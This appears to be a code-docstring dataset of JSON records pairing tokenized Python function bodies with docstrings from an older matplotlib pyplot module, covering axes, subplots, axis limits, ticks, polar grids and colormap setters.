{"signature": "def axes(*args, **kwargs):", "body": "nargs = len(args)<EOL>if len(args)==<NUM_LIT:0>: return subplot(<NUM_LIT>, **kwargs)<EOL>if nargs><NUM_LIT:1>:<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>arg = args[<NUM_LIT:0>]<EOL>if isinstance(arg, Axes):<EOL><INDENT>a = gcf().sca(arg)<EOL><DEDENT>else:<EOL><INDENT>rect = arg<EOL>a = gcf().add_axes(rect, **kwargs)<EOL><DEDENT>draw_if_interactive()<EOL>return a<EOL>", "docstring": "Add an axes at position rect specified by:\n\n- ``axes()`` by itself creates a default full ``subplot(111)`` window axis.\n\n- ``axes(rect, axisbg='w')`` where *rect* = [left, bottom, width,\n  height] in normalized (0, 1) units.  *axisbg* is the background\n  color for the axis, default white.\n\n- ``axes(h)`` where *h* is an axes instance makes *h* the current\n  axis.  An :class:`~matplotlib.axes.Axes` instance is returned.\n\n=======   ============   ================================================\nkwarg     Accepts        Desctiption\n=======   ============   ================================================\naxisbg    color          the axes background color\nframeon   [True|False]   display the frame?\nsharex    otherax        current axes shares xaxis attribute with otherax\nsharey    otherax        current axes shares yaxis attribute with otherax\npolar     [True|False]   use a polar axes?\n=======   ============   ================================================\n\nExamples:\n\n* :file:`examples/pylab_examples/axes_demo.py` places custom axes.\n* :file:`examples/pylab_examples/shared_axis_demo.py` uses\n  *sharex* and *sharey*.", "id": "f17168:m29"}
{"signature": "def delaxes(*args):", "body": "if not len(args):<EOL><INDENT>ax = gca()<EOL><DEDENT>else:<EOL><INDENT>ax = args[<NUM_LIT:0>]<EOL><DEDENT>ret = gcf().delaxes(ax)<EOL>draw_if_interactive()<EOL>return ret<EOL>", "docstring": "``delaxes(ax)``: remove *ax* from the current figure.  If *ax*\ndoesn't exist, an error will be raised.\n\n``delaxes()``: delete the current axes", "id": "f17168:m30"}
{"signature": "def gca(**kwargs):", "body": "ax =  gcf().gca(**kwargs)<EOL>return ax<EOL>", "docstring": "Return the current axis instance.  This can be used to control\naxis properties either using set or the\n:class:`~matplotlib.axes.Axes` methods, for example, setting the\nxaxis range::\n\n  plot(t,s)\n  set(gca(), 'xlim', [0,10])\n\nor::\n\n  plot(t,s)\n  a = gca()\n  a.set_xlim([0,10])", "id": "f17168:m31"}
{"signature": "def subplot(*args, **kwargs):", "body": "fig = gcf()<EOL>a = fig.add_subplot(*args, **kwargs)<EOL>bbox = a.bbox<EOL>byebye = []<EOL>for other in fig.axes:<EOL><INDENT>if other==a: continue<EOL>if bbox.fully_overlaps(other.bbox):<EOL><INDENT>byebye.append(other)<EOL><DEDENT><DEDENT>for ax in byebye: delaxes(ax)<EOL>draw_if_interactive()<EOL>return a<EOL>", "docstring": "Create a subplot command, creating axes with::\n\n  subplot(numRows, numCols, plotNum)\n\nwhere *plotNum* = 1 is the first plot number and increasing *plotNums*\nfill rows first.  max(*plotNum*) == *numRows* * *numCols*\n\nYou can leave out the commas if *numRows* <= *numCols* <=\n*plotNum* < 10, as in::\n\n  subplot(211)    # 2 rows, 1 column, first (upper) plot\n\n``subplot(111)`` is the default axis.\n\nNew subplots that overlap old will delete the old axes.  If you do\nnot want this behavior, use\n:meth:`matplotlib.figure.Figure.add_subplot` or the\n:func:`~matplotlib.pyplot.axes` command.  Eg.::\n\n  from pylab import *\n  plot([1,2,3])  # implicitly creates subplot(111)\n  subplot(211)   # overlaps, subplot(111) is killed\n  plot(rand(12), rand(12))\n  subplot(212, axisbg='y') # creates 2nd subplot with yellow background\n\nKeyword arguments:\n\n  *axisbg*:\n    The background color of the subplot, which can be any valid\n    color specifier.  See :mod:`matplotlib.colors` for more\n    information.\n\n  *polar*:\n    A boolean flag indicating whether the subplot plot should be\n    a polar projection.  Defaults to False.\n\n  *projection*:\n    A string giving the name of a custom projection to be used\n    for the subplot. This projection must have been previously\n    registered. See :func:`matplotlib.projections.register_projection`\n\n.. seealso::\n    :func:`~matplotlib.pyplot.axes`:\n        For additional information on :func:`axes` and\n        :func:`subplot` keyword arguments.\n\n    :file:`examples/pylab_examples/polar_scatter.py`\n\n**Example:**\n\n.. plot:: mpl_examples/pylab_examples/subplot_demo.py", "id": "f17168:m32"}
{"signature": "def twinx(ax=None):", "body": "if ax is None:<EOL><INDENT>ax=gca()<EOL><DEDENT>ax1 = ax.twinx()<EOL>draw_if_interactive()<EOL>return ax1<EOL>", "docstring": "Make a second axes overlay *ax* (or the current axes if *ax* is\n*None*) sharing the xaxis.  The ticks for *ax2* will be placed on\nthe right, and the *ax2* instance is returned.\n\n.. seealso::\n   :file:`examples/api_examples/two_scales.py`", "id": "f17168:m33"}
{"signature": "def twiny(ax=None):", "body": "if ax is None:<EOL><INDENT>ax=gca()<EOL><DEDENT>ax1 = ax.twiny()<EOL>draw_if_interactive()<EOL>return ax1<EOL>", "docstring": "Make a second axes overlay *ax* (or the current axes if *ax* is\n*None*) sharing the yaxis.  The ticks for *ax2* will be placed on\nthe top, and the *ax2* instance is returned.", "id": "f17168:m34"}
{"signature": "def subplots_adjust(*args, **kwargs):", "body": "fig = gcf()<EOL>fig.subplots_adjust(*args, **kwargs)<EOL>draw_if_interactive()<EOL>", "docstring": "call signature::\n\n  subplots_adjust(left=None, bottom=None, right=None, top=None,\n                  wspace=None, hspace=None)\n\nTune the subplot layout via the\n:class:`matplotlib.figure.SubplotParams` mechanism.  The parameter\nmeanings (and suggested defaults) are::\n\n  left  = 0.125  # the left side of the subplots of the figure\n  right = 0.9    # the right side of the subplots of the figure\n  bottom = 0.1   # the bottom of the subplots of the figure\n  top = 0.9      # the top of the subplots of the figure\n  wspace = 0.2   # the amount of width reserved for blank space between subplots\n  hspace = 0.2   # the amount of height reserved for white space between subplots\n\nThe actual defaults are controlled by the rc file", "id": "f17168:m35"}
{"signature": "def subplot_tool(targetfig=None):", "body": "tbar = rcParams['<STR_LIT>'] <EOL>rcParams['<STR_LIT>'] = '<STR_LIT:None>'<EOL>if targetfig is None:<EOL><INDENT>manager = get_current_fig_manager()<EOL>targetfig = manager.canvas.figure<EOL><DEDENT>else:<EOL><INDENT>for manager in _pylab_helpers.Gcf._activeQue:<EOL><INDENT>if manager.canvas.figure==targetfig: break<EOL><DEDENT>else: raise RuntimeError('<STR_LIT>')<EOL><DEDENT>toolfig = figure(figsize=(<NUM_LIT:6>,<NUM_LIT:3>))<EOL>toolfig.subplots_adjust(top=<NUM_LIT>)<EOL>ret =  SubplotTool(targetfig, toolfig)<EOL>rcParams['<STR_LIT>'] = tbar<EOL>_pylab_helpers.Gcf.set_active(manager)  <EOL>return ret<EOL>", "docstring": "Launch a subplot tool window for *targetfig* (default gcf).\n\nA :class:`matplotlib.widgets.SubplotTool` instance is returned.", "id": "f17168:m36"}
{"signature": "def box(on=None):", "body": "ax = gca()<EOL>if on is None:<EOL><INDENT>on = not ax.get_frame_on()<EOL><DEDENT>ax.set_frame_on(on)<EOL>draw_if_interactive()<EOL>", "docstring": "Turn the axes box on or off according to *on*.\n\nIf *on* is *None*, toggle state.", "id": "f17168:m37"}
{"signature": "def title(s, *args, **kwargs):", "body": "l =  gca().set_title(s, *args, **kwargs)<EOL>draw_if_interactive()<EOL>return l<EOL>", "docstring": "Set the title of the current axis to *s*.\n\nDefault font override is::\n\n  override = {'fontsize': 'medium',\n              'verticalalignment': 'bottom',\n              'horizontalalignment': 'center'}\n\n.. seealso::\n   :func:`~matplotlib.pyplot.text`:\n       for information on how override and the optional args work.", "id": "f17168:m38"}
{"signature": "def axis(*v, **kwargs):", "body": "ax = gca()<EOL>v = ax.axis(*v, **kwargs)<EOL>draw_if_interactive()<EOL>return v<EOL>", "docstring": "Set/Get the axis properties:\n\n  >>> axis()\n\nreturns the current axes limits ``[xmin, xmax, ymin, ymax]``.\n\n  >>> axis(v)\n\nsets the min and max of the x and y axes, with\n``v = [xmin, xmax, ymin, ymax]``.\n\n  >>> axis('off')\n\nturns off the axis lines and labels.\n\n  >>> axis('equal')\n\nchanges limits of *x* or *y* axis so that equal increments of *x*\nand *y* have the same length; a circle is circular.\n\n  >>> axis('scaled')\n\nachieves the same result by changing the dimensions of the plot box instead\nof the axis data limits.\n\n  >>> axis('tight')\n\nchanges *x* and *y* axis limits such that all data is shown. If\nall data is already shown, it will move it to the center of the\nfigure without modifying (*xmax* - *xmin*) or (*ymax* -\n*ymin*). Note this is slightly different than in matlab.\n\n  >>> axis('image')\n\nis 'scaled' with the axis limits equal to the data limits.\n\n  >>> axis('auto')\n\nand\n\n  >>> axis('normal')\n\nare deprecated. They restore default behavior; axis limits are automatically\nscaled to make the data fit comfortably within the plot box.\n\nif ``len(*v)==0``, you can pass in *xmin*, *xmax*, *ymin*, *ymax*\nas kwargs selectively to alter just those limits without changing\nthe others.\n\nThe xmin, xmax, ymin, ymax tuple is returned\n\n.. seealso::\n    :func:`xlim`, :func:`ylim`", "id": "f17168:m39"}
{"signature": "def xlabel(s, *args, **kwargs):", "body": "l =  gca().set_xlabel(s, *args, **kwargs)<EOL>draw_if_interactive()<EOL>return l<EOL>", "docstring": "Set the *x* axis label of the current axis to *s*\n\nDefault override is::\n\n  override = {\n      'fontsize'            : 'small',\n      'verticalalignment'   : 'top',\n      'horizontalalignment' : 'center'\n      }\n\n.. seealso::\n    :func:`~matplotlib.pyplot.text`:\n        For information on how override and the optional args work", "id": "f17168:m40"}
{"signature": "def ylabel(s, *args, **kwargs):", "body": "l = gca().set_ylabel(s, *args, **kwargs)<EOL>draw_if_interactive()<EOL>return l<EOL>", "docstring": "Set the *y* axis label of the current axis to *s*.\n\nDefaults override is::\n\n    override = {\n       'fontsize'            : 'small',\n       'verticalalignment'   : 'center',\n       'horizontalalignment' : 'right',\n       'rotation'='vertical' : }\n\n.. seealso::\n    :func:`~matplotlib.pyplot.text`:\n        For information on how override and the optional args\n        work.", "id": "f17168:m41"}
{"signature": "def xlim(*args, **kwargs):", "body": "ax = gca()<EOL>ret = ax.set_xlim(*args, **kwargs)<EOL>draw_if_interactive()<EOL>return ret<EOL>", "docstring": "Set/Get the xlimits of the current axes::\n\n  xmin, xmax = xlim()   # return the current xlim\n  xlim( (xmin, xmax) )  # set the xlim to xmin, xmax\n  xlim( xmin, xmax )    # set the xlim to xmin, xmax\n\nIf you do not specify args, you can pass the xmin and xmax as\nkwargs, eg.::\n\n  xlim(xmax=3) # adjust the max leaving min unchanged\n  xlim(xmin=1) # adjust the min leaving max unchanged\n\nThe new axis limits are returned as a length 2 tuple.", "id": "f17168:m42"}
{"signature": "def ylim(*args, **kwargs):", "body": "ax = gca()<EOL>ret = ax.set_ylim(*args, **kwargs)<EOL>draw_if_interactive()<EOL>return ret<EOL>", "docstring": "Set/Get the ylimits of the current axes::\n\n  ymin, ymax = ylim()   # return the current ylim\n  ylim( (ymin, ymax) )  # set the ylim to ymin, ymax\n  ylim( ymin, ymax )    # set the ylim to ymin, ymax\n\nIf you do not specify args, you can pass the *ymin* and *ymax* as\nkwargs, eg.::\n\n  ylim(ymax=3) # adjust the max leaving min unchanged\n  ylim(ymin=1) # adjust the min leaving max unchanged\n\nThe new axis limits are returned as a length 2 tuple.", "id": "f17168:m43"}
{"signature": "def xscale(*args, **kwargs):", "body": "ax = gca()<EOL>ret = ax.set_xscale(*args, **kwargs)<EOL>draw_if_interactive()<EOL>return ret<EOL>", "docstring": "call signature::\n\n  xscale(scale, **kwargs)\n\nSet the scaling for the x-axis: %(scale)s\n\nDifferent keywords may be accepted, depending on the scale:\n\n%(scale_docs)s", "id": "f17168:m44"}
{"signature": "def yscale(*args, **kwargs):", "body": "ax = gca()<EOL>ret = ax.set_yscale(*args, **kwargs)<EOL>draw_if_interactive()<EOL>return ret<EOL>", "docstring": "call signature::\n\n  xscale(scale, **kwargs)\n\nSet the scaling for the y-axis: %(scale)s\n\nDifferent keywords may be accepted, depending on the scale:\n\n%(scale_docs)s", "id": "f17168:m45"}
{"signature": "def xticks(*args, **kwargs):", "body": "ax = gca()<EOL>if len(args)==<NUM_LIT:0>:<EOL><INDENT>locs = ax.get_xticks()<EOL>labels = ax.get_xticklabels()<EOL><DEDENT>elif len(args)==<NUM_LIT:1>:<EOL><INDENT>locs = ax.set_xticks(args[<NUM_LIT:0>])<EOL>labels = ax.get_xticklabels()<EOL><DEDENT>elif len(args)==<NUM_LIT:2>:<EOL><INDENT>locs = ax.set_xticks(args[<NUM_LIT:0>])<EOL>labels = ax.set_xticklabels(args[<NUM_LIT:1>], **kwargs)<EOL><DEDENT>else: raise TypeError('<STR_LIT>')<EOL>if len(kwargs):<EOL><INDENT>for l in labels:<EOL><INDENT>l.update(kwargs)<EOL><DEDENT><DEDENT>draw_if_interactive()<EOL>return locs, silent_list('<STR_LIT>', labels)<EOL>", "docstring": "Set/Get the xlimits of the current ticklocs and labels::\n\n  # return locs, labels where locs is an array of tick locations and\n  # labels is an array of tick labels.\n  locs, labels = xticks()\n\n  # set the locations of the xticks\n  xticks( arange(6) )\n\n  # set the locations and labels of the xticks\n  xticks( arange(5), ('Tom', 'Dick', 'Harry', 'Sally', 'Sue') )\n\nThe keyword args, if any, are :class:`~matplotlib.text.Text`\nproperties.", "id": "f17168:m46"}
{"signature": "def yticks(*args, **kwargs):", "body": "ax = gca()<EOL>if len(args)==<NUM_LIT:0>:<EOL><INDENT>locs = ax.get_yticks()<EOL>labels = ax.get_yticklabels()<EOL><DEDENT>elif len(args)==<NUM_LIT:1>:<EOL><INDENT>locs = ax.set_yticks(args[<NUM_LIT:0>])<EOL>labels = ax.get_yticklabels()<EOL><DEDENT>elif len(args)==<NUM_LIT:2>:<EOL><INDENT>locs = ax.set_yticks(args[<NUM_LIT:0>])<EOL>labels = ax.set_yticklabels(args[<NUM_LIT:1>], **kwargs)<EOL><DEDENT>else: raise TypeError('<STR_LIT>')<EOL>if len(kwargs):<EOL><INDENT>for l in labels:<EOL><INDENT>l.update(kwargs)<EOL><DEDENT><DEDENT>draw_if_interactive()<EOL>return ( locs,<EOL>silent_list('<STR_LIT>', labels)<EOL>)<EOL>", "docstring": "Set/Get the ylimits of the current ticklocs and labels::\n\n  # return locs, labels where locs is an array of tick locations and\n  # labels is an array of tick labels.\n  locs, labels = yticks()\n\n  # set the locations of the yticks\n  yticks( arange(6) )\n\n  # set the locations and labels of the yticks\n  yticks( arange(5), ('Tom', 'Dick', 'Harry', 'Sally', 'Sue') )\n\nThe keyword args, if any, are :class:`~matplotlib.text.Text`\nproperties.", "id": "f17168:m47"}
{"signature": "def rgrids(*args, **kwargs):", "body": "ax = gca()<EOL>if not isinstance(ax, PolarAxes):<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>if len(args)==<NUM_LIT:0>:<EOL><INDENT>lines = ax.yaxis.get_ticklines()<EOL>labels = ax.yaxis.get_ticklabels()<EOL><DEDENT>else:<EOL><INDENT>lines, labels = ax.set_rgrids(*args, **kwargs)<EOL><DEDENT>draw_if_interactive()<EOL>return ( silent_list('<STR_LIT>', lines),<EOL>silent_list('<STR_LIT>', labels) )<EOL>", "docstring": "Set/Get the radial locations of the gridlines and ticklabels on a\npolar plot.\n\ncall signatures::\n\n  lines, labels = rgrids()\n  lines, labels = rgrids(radii, labels=None, angle=22.5, **kwargs)\n\nWhen called with no arguments, :func:`rgrid` simply returns the\ntuple (*lines*, *labels*), where *lines* is an array of radial\ngridlines (:class:`~matplotlib.lines.Line2D` instances) and\n*labels* is an array of tick labels\n(:class:`~matplotlib.text.Text` instances). When called with\narguments, the labels will appear at the specified radial\ndistances and angles.\n\n*labels*, if not *None*, is a len(*radii*) list of strings of the\nlabels to use at each angle.\n\nIf *labels* is None, the rformatter will be used\n\nExamples::\n\n  # set the locations of the radial gridlines and labels\n  lines, labels = rgrids( (0.25, 0.5, 1.0) )\n\n  # set the locations and labels of the radial gridlines and labels\n  lines, labels = rgrids( (0.25, 0.5, 1.0), ('Tom', 'Dick', 'Harry' )", "id": "f17168:m48"}
{"signature": "def thetagrids(*args, **kwargs):", "body": "ax = gca()<EOL>if not isinstance(ax, PolarAxes):<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>if len(args)==<NUM_LIT:0>:<EOL><INDENT>lines = ax.xaxis.get_ticklines()<EOL>labels = ax.xaxis.get_ticklabels()<EOL><DEDENT>else:<EOL><INDENT>lines, labels = ax.set_thetagrids(*args, **kwargs)<EOL><DEDENT>draw_if_interactive()<EOL>return (silent_list('<STR_LIT>', lines),<EOL>silent_list('<STR_LIT>', labels)<EOL>)<EOL>", "docstring": "Set/Get the theta locations of the gridlines and ticklabels.\n\nIf no arguments are passed, return a tuple (*lines*, *labels*)\nwhere *lines* is an array of radial gridlines\n(:class:`~matplotlib.lines.Line2D` instances) and *labels* is an\narray of tick labels (:class:`~matplotlib.text.Text` instances)::\n\n  lines, labels = thetagrids()\n\nOtherwise the syntax is::\n\n  lines, labels = thetagrids(angles, labels=None, fmt='%d', frac = 1.1)\n\nset the angles at which to place the theta grids (these gridlines\nare equal along the theta dimension).\n\n*angles* is in degrees.\n\n*labels*, if not *None*, is a len(angles) list of strings of the\nlabels to use at each angle.\n\nIf *labels* is *None*, the labels will be ``fmt%angle``.\n\n*frac* is the fraction of the polar axes radius at which to place\nthe label (1 is the edge). Eg. 1.05 is outside the axes and 0.95\nis inside the axes.\n\nReturn value is a list of tuples (*lines*, *labels*):\n\n  - *lines* are :class:`~matplotlib.lines.Line2D` instances\n\n  - *labels* are :class:`~matplotlib.text.Text` instances.\n\nNote that on input, the *labels* argument is a list of strings,\nand on output it is a list of :class:`~matplotlib.text.Text`\ninstances.\n\nExamples::\n\n  # set the locations of the radial gridlines and labels\n  lines, labels = thetagrids( range(45,360,90) )\n\n  # set the locations and labels of the radial gridlines and labels\n  lines, labels = thetagrids( range(45,360,90), ('NE', 'NW', 'SW','SE') )", "id": "f17168:m49"}
{"signature": "def plotting():", "body": "pass<EOL>", "docstring": "Plotting commands\n=============== =========================================================\nCommand         Description\n=============== =========================================================\naxes            Create a new axes\naxis            Set or return the current axis limits\nbar             make a bar chart\nboxplot         make a box and whiskers chart\ncla             clear current axes\nclabel          label a contour plot\nclf             clear a figure window\nclose           close a figure window\ncolorbar        add a colorbar to the current figure\ncohere          make a plot of coherence\ncontour         make a contour plot\ncontourf        make a filled contour plot\ncsd             make a plot of cross spectral density\ndraw            force a redraw of the current figure\nerrorbar        make an errorbar graph\nfiglegend       add a legend to the figure\nfigimage        add an image to the figure, w/o resampling\nfigtext         add text in figure coords\nfigure          create or change active figure\nfill            make filled polygons\nfill_between    make filled polygons\ngca             return the current axes\ngcf             return the current figure\ngci             get the current image, or None\ngetp            get a handle graphics property\nhist            make a histogram\nhold            set the hold state on current axes\nlegend          add a legend to the axes\nloglog          a log log plot\nimread          load image file into array\nimshow          plot image data\nmatshow         display a matrix in a new figure preserving aspect\npcolor          make a pseudocolor plot\nplot            make a line plot\nplotfile        plot data from a flat file\npsd             make a plot of power spectral density\nquiver          make a direction field (arrows) plot\nrc              control the default params\nsavefig         save the current figure\nscatter         make a scatter plot\nsetp            set a handle graphics property\nsemilogx        log x axis\nsemilogy        log y axis\nshow            show the figures\nspecgram        a spectrogram plot\nstem            make a stem plot\nsubplot         make a subplot (numrows, numcols, axesnum)\ntable           add a table to the axes\ntext            add some text at location x,y to the current axes\ntitle           add a title to the current axes\nxlabel          add an xlabel to the current axes\nylabel          add a ylabel to the current axes\n=============== =========================================================\n\nThe following commands will set the default colormap accordingly:\n\n* autumn\n* bone\n* cool\n* copper\n* flag\n* gray\n* hot\n* hsv\n* jet\n* pink\n* prism\n* spring\n* summer\n* winter\n* spectral", "id": "f17168:m50"}
{"signature": "def colors():", "body": "pass<EOL>", "docstring": "This is a do nothing function to provide you with help on how\nmatplotlib handles colors.\n\nCommands which take color arguments can use several formats to\nspecify the colors.  For the basic builtin colors, you can use a\nsingle letter\n\n  =====   =======\n  Alias   Color\n  =====   =======\n  'b'     blue\n  'g'     green\n  'r'     red\n  'c'     cyan\n  'm'     magenta\n  'y'     yellow\n  'k'     black\n  'w'     white\n  =====   =======\n\nFor a greater range of colors, you have two options.  You can\nspecify the color using an html hex string, as in::\n\n  color = '#eeefff'\n\nor you can pass an R,G,B tuple, where each of R,G,B are in the\nrange [0,1].\n\nYou can also use any legal html name for a color, for example::\n\n  color = 'red',\n  color = 'burlywood'\n  color = 'chartreuse'\n\nThe example below creates a subplot with a dark\nslate gray background\n\n   subplot(111, axisbg=(0.1843, 0.3098, 0.3098))\n\nHere is an example that creates a pale turqoise title::\n\n  title('Is this the best color?', color='#afeeee')", "id": "f17168:m52"}
{"signature": "def colormaps():", "body": "pass<EOL>", "docstring": "matplotlib provides the following colormaps.\n\n* autumn\n* bone\n* cool\n* copper\n* flag\n* gray\n* hot\n* hsv\n* jet\n* pink\n* prism\n* spring\n* summer\n* winter\n* spectral\n\nYou can set the colormap for an image, pcolor, scatter, etc,\neither as a keyword argument::\n\n  imshow(X, cmap=cm.hot)\n\nor post-hoc using the corresponding pylab interface function::\n\n  imshow(X)\n  hot()\n  jet()\n\nIn interactive mode, this will update the colormap allowing you to\nsee which one works best for your data.", "id": "f17168:m53"}
{"signature": "def clim(vmin=None, vmax=None):", "body": "im = gci()<EOL>if im is None:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>im.set_clim(vmin, vmax)<EOL>draw_if_interactive()<EOL>", "docstring": "Set the color limits of the current image\n\nTo apply clim to all axes images do::\n\n  clim(0, 0.5)\n\nIf either *vmin* or *vmax* is None, the image min/max respectively\nwill be used for color scaling.\n\nIf you want to set the clim of multiple images,\nuse, for example::\n\n  for im in gca().get_images():\n      im.set_clim(0, 0.05)", "id": "f17168:m55"}
{"signature": "def matshow(A, fignum=None, **kw):", "body": "if fignum is False or fignum is <NUM_LIT:0>:<EOL><INDENT>ax = gca()<EOL><DEDENT>else:<EOL><INDENT>fig = figure(fignum, figsize=figaspect(A))<EOL>ax  = fig.add_axes([<NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>])<EOL><DEDENT>im = ax.matshow(A, **kw)<EOL>gci._current = im<EOL>draw_if_interactive()<EOL>return im<EOL>", "docstring": "Display an array as a matrix in a new figure window.\n\nThe origin is set at the upper left hand corner and rows (first\ndimension of the array) are displayed horizontally.  The aspect\nratio of the figure window is that of the array, unless this would\nmake an excessively short or narrow figure.\n\nTick labels for the xaxis are placed on top.\n\nWith the exception of fignum, keyword arguments are passed to\n:func:`~matplotlib.pyplot.imshow`.\n\n\n*fignum*: [ None | integer | False ]\n  By default, :func:`matshow` creates a new figure window with\n  automatic numbering.  If *fignum* is given as an integer, the\n  created figure will use this figure number.  Because of how\n  :func:`matshow` tries to set the figure aspect ratio to be the\n  one of the array, if you provide the number of an already\n  existing figure, strange things may happen.\n\n  If *fignum* is *False* or 0, a new figure window will **NOT** be created.", "id": "f17168:m57"}
{"signature": "def polar(*args, **kwargs):", "body": "ax = gca(polar=True)<EOL>ret = ax.plot(*args, **kwargs)<EOL>draw_if_interactive()<EOL>return ret<EOL>", "docstring": "call signature::\n\n  polar(theta, r, **kwargs)\n\nMake a polar plot.  Multiple *theta*, *r* arguments are supported,\nwith format strings, as in :func:`~matplotlib.pyplot.plot`.", "id": "f17168:m58"}
{"signature": "def plotfile(fname, cols=(<NUM_LIT:0>,), plotfuncs=None,<EOL>comments='<STR_LIT:#>', skiprows=<NUM_LIT:0>, checkrows=<NUM_LIT:5>, delimiter='<STR_LIT:U+002C>',<EOL>**kwargs):", "body": "fig = figure()<EOL>if len(cols)<<NUM_LIT:1>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if plotfuncs is None:<EOL><INDENT>plotfuncs = dict()<EOL><DEDENT>r = mlab.csv2rec(fname, comments=comments,<EOL>skiprows=skiprows, checkrows=checkrows, delimiter=delimiter)<EOL>def getname_val(identifier):<EOL><INDENT>'<STR_LIT>'<EOL>if is_string_like(identifier):<EOL><INDENT>return identifier, r[identifier]<EOL><DEDENT>elif is_numlike(identifier):<EOL><INDENT>name = r.dtype.names[int(identifier)]<EOL>return name, r[name]<EOL><DEDENT>else:<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT><DEDENT>xname, x = getname_val(cols[<NUM_LIT:0>])<EOL>if len(cols)==<NUM_LIT:1>:<EOL><INDENT>ax1 = fig.add_subplot(<NUM_LIT:1>,<NUM_LIT:1>,<NUM_LIT:1>)<EOL>funcname = plotfuncs.get(cols[<NUM_LIT:0>], '<STR_LIT>')<EOL>func = getattr(ax1, funcname)<EOL>func(x, **kwargs)<EOL>ax1.set_xlabel(xname)<EOL><DEDENT>else:<EOL><INDENT>N = len(cols)<EOL>for i in range(<NUM_LIT:1>,N):<EOL><INDENT>if i==<NUM_LIT:1>:<EOL><INDENT>ax = ax1 = fig.add_subplot(N-<NUM_LIT:1>,<NUM_LIT:1>,i)<EOL>ax.grid(True)<EOL><DEDENT>else:<EOL><INDENT>ax = fig.add_subplot(N-<NUM_LIT:1>,<NUM_LIT:1>,i, sharex=ax1)<EOL>ax.grid(True)<EOL><DEDENT>yname, y = getname_val(cols[i])<EOL>funcname = plotfuncs.get(cols[i], '<STR_LIT>')<EOL>func = getattr(ax, funcname)<EOL>func(x, y, **kwargs)<EOL>ax.set_ylabel(yname)<EOL>if ax.is_last_row():<EOL><INDENT>ax.set_xlabel(xname)<EOL><DEDENT>else:<EOL><INDENT>ax.set_xlabel('<STR_LIT>')<EOL><DEDENT><DEDENT><DEDENT>if xname=='<STR_LIT:date>':<EOL><INDENT>fig.autofmt_xdate()<EOL><DEDENT>draw_if_interactive()<EOL>", "docstring": "Plot the data in *fname*\n\n*cols* is a sequence of column identifiers to plot.  An identifier\nis either an int or a string.  If it is an int, it indicates the\ncolumn number.  If it is a string, it indicates the column header.\nmatplotlib will make column headers lower case, replace spaces with\nunderscores, and remove all illegal characters; so ``'Adj Close*'``\nwill have name ``'adj_close'``.\n\n- If len(*cols*) == 1, only that column will be plotted on the *y* axis.\n\n- If len(*cols*) > 1, the first element will be an identifier for\n  data for the *x* axis and the remaining elements will be the\n  column indexes for multiple subplots\n\n*plotfuncs*, if not *None*, is a dictionary mapping identifier to\nan :class:`~matplotlib.axes.Axes` plotting function as a string.\nDefault is 'plot', other choices are 'semilogy', 'fill', 'bar',\netc.  You must use the same type of identifier in the *cols*\nvector as you use in the *plotfuncs* dictionary, eg., integer\ncolumn numbers in both or column names in both.\n\n*comments*, *skiprows*, *checkrows*, and *delimiter* are all passed on to\n:func:`matplotlib.pylab.csv2rec` to load the data into a record array.\n\nkwargs are passed on to plotting functions.\n\nExample usage::\n\n  # plot the 2nd and 4th column against the 1st in two subplots\n  plotfile(fname, (0,1,3))\n\n  # plot using column names; specify an alternate plot type for volume\n  plotfile(fname, ('date', 'volume', 'adj_close'), plotfuncs={'volume': 'semilogy'})", "id": "f17168:m59"}
{"signature": "def autumn():", "body": "rc('<STR_LIT:image>', cmap='<STR_LIT>')<EOL>im = gci()<EOL>if im is not None:<EOL><INDENT>im.set_cmap(cm.autumn)<EOL><DEDENT>draw_if_interactive()<EOL>", "docstring": "set the default colormap to autumn and apply to current image if any.\nSee help(colormaps) for more information", "id": "f17168:m107"}
{"signature": "def bone():", "body": "rc('<STR_LIT:image>', cmap='<STR_LIT>')<EOL>im = gci()<EOL>if im is not None:<EOL><INDENT>im.set_cmap(cm.bone)<EOL><DEDENT>draw_if_interactive()<EOL>", "docstring": "set the default colormap to bone and apply to current image if any.\nSee help(colormaps) for more information", "id": "f17168:m108"}
{"signature": "def cool():", "body": "rc('<STR_LIT:image>', cmap='<STR_LIT>')<EOL>im = gci()<EOL>if im is not None:<EOL><INDENT>im.set_cmap(cm.cool)<EOL><DEDENT>draw_if_interactive()<EOL>", "docstring": "set the default colormap to cool and apply to current image if any.\nSee help(colormaps) for more information", "id": "f17168:m109"}
{"signature": "def copper():", "body": "rc('<STR_LIT:image>', cmap='<STR_LIT>')<EOL>im = gci()<EOL>if im is not None:<EOL><INDENT>im.set_cmap(cm.copper)<EOL><DEDENT>draw_if_interactive()<EOL>", "docstring": "set the default colormap to copper and apply to current image if any.\nSee help(colormaps) for more information", "id": "f17168:m110"}
{"signature": "def flag():", "body": "rc('<STR_LIT:image>', cmap='<STR_LIT>')<EOL>im = gci()<EOL>if im is not None:<EOL><INDENT>im.set_cmap(cm.flag)<EOL><DEDENT>draw_if_interactive()<EOL>", "docstring": "set the default colormap to flag and apply to current image if any.\nSee help(colormaps) for more information", "id": "f17168:m111"}
{"signature": "def gray():", "body": "rc('<STR_LIT:image>', cmap='<STR_LIT>')<EOL>im = gci()<EOL>if im is not None:<EOL><INDENT>im.set_cmap(cm.gray)<EOL><DEDENT>draw_if_interactive()<EOL>", "docstring": "set the default colormap to gray and apply to current image if any.\nSee help(colormaps) for more information", "id": "f17168:m112"}
{"signature": "def hot():", "body": "rc('<STR_LIT:image>', cmap='<STR_LIT>')<EOL>im = gci()<EOL>if im is not None:<EOL><INDENT>im.set_cmap(cm.hot)<EOL><DEDENT>draw_if_interactive()<EOL>", "docstring": "set the default colormap to hot and apply to current image if any.\nSee help(colormaps) for more information", "id": "f17168:m113"}
{"signature": "def hsv():", "body": "rc('<STR_LIT:image>', cmap='<STR_LIT>')<EOL>im = gci()<EOL>if im is not None:<EOL><INDENT>im.set_cmap(cm.hsv)<EOL><DEDENT>draw_if_interactive()<EOL>", "docstring": "set the default colormap to hsv and apply to current image if any.\nSee help(colormaps) for more information", "id": "f17168:m114"}
